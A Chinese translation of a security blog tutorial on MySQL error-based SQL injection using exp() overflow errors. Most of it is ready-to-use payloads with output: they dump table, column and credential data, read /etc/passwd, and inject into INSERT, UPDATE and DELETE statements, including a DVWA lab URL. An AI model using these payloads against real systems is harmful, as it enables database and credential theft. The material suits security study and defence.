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使用exp进行SQL报错注入
此文为BIGINT Overflow Error Based SQL Injection的具体发现与实践
from:https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/ ◆1 前言概述 好消息好消息~作者又在MySQL中发现了一个Double型数据溢出。如果你想了解利用溢出来注出数据,你可以读一下作者之前发的博文:BIGINT Overflow Error based injections,drops上面也有对应翻译,具体见这里。当我们拿到MySQL里的函数时,作者比较感兴趣的是其中的数学函数,它们也应该包含一些数据类型来保存数值。所以作者就跑去测试看哪些函数会出现溢出错误。然后作者发现,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。 mysql> select exp(709); +-----------------------+ | exp(709) | +-----------------------+ | 8.218407461554972e307 | +-----------------------+ 1 row in set (0.00 sec) mysql> select exp(710); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)' 在MySQL中,exp与ln和log的功能相反,简单介绍下,就是log和ln都返回以e为底数的对数,见等式: 图片:2015082008345014795.png 图片:2015082008345014795.png mysql> select log(15); +------------------+ | log(15) | +------------------+ | 2.70805020110221 | +------------------+ 1 row in set (0.00 sec) mysql> select ln(15); +------------------+ | ln(15) | +------------------+ | 2.70805020110221 | +------------------+ 1 row in set (0.00 sec) 指数函数为对数函数的反函数,exp()即为以e为底的对数函数,如等式: 图片:2015082008345014795.png mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec) ◆2 注入 当涉及到注入时,我们使用否定查询来造成“DOUBLE value is out of range”的错误。作者之前的博文提到的,将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。 mysql> select ~0; +----------------------+ | ~0 | +----------------------+ | 18446744073709551615 | +----------------------+ 1 row in set (0.00 sec) mysql> select ~(select version()); +----------------------+ | ~(select version()) | +----------------------+ | 18446744073709551610 | +----------------------+ 1 row in set, 1 warning (0.00 sec) 我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。 >`exp(~(select*from(select user())x))` mysql> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' ◆3 注出数据 得到表名: select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); 得到列名: select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)); 检索数据: select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)); ◆4 一蹴而就 这个查询可以从当前的上下文中dump出所有的tables与columns。我们也可以dump出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果。 exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit# 图片:2015082008345014795.png ◆4 读取文件 你可以通过load_file()函数来读取文件,但作者发现有13行的限制,该语句也可以在BIGINT overflow injections中使用。 select exp(~(select*from(select load_file('/etc/passwd'))a)); 图片:2015082008345014795.png 注意,你无法写文件,因为这个错入写入的只是0。 mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:out.txt 0 ◆5 Injection in Insert 按部就班就好 mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 对于所有的insert,update和delete语句DIOS查询也同样可以使用。 mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 newdb::users::id newdb::users::username newdb::users::password' from dual)))' ◆6 Injection in Update mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' ◆7 Injection in Delete mysql> delete from users where id='1' | exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' ◆8 总结 和前面的BIGINT注入一样,exp注入也适用于MySQL5.5.5及以上版本。以前的版本对于此情况则是“一言不发”。 mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> select exp(710); +----------+ | exp(710) | +----------+ | 1.#INF | +----------+ 1 row in set (0.00 sec) mysql> select exp(~0); +---------+ | exp(~0) | +---------+ | 1.#INF | +---------+ 1 row in set (0.00 sec) 可能还有其他的函数会产生这种报错呦。(有待你发现啦:) |
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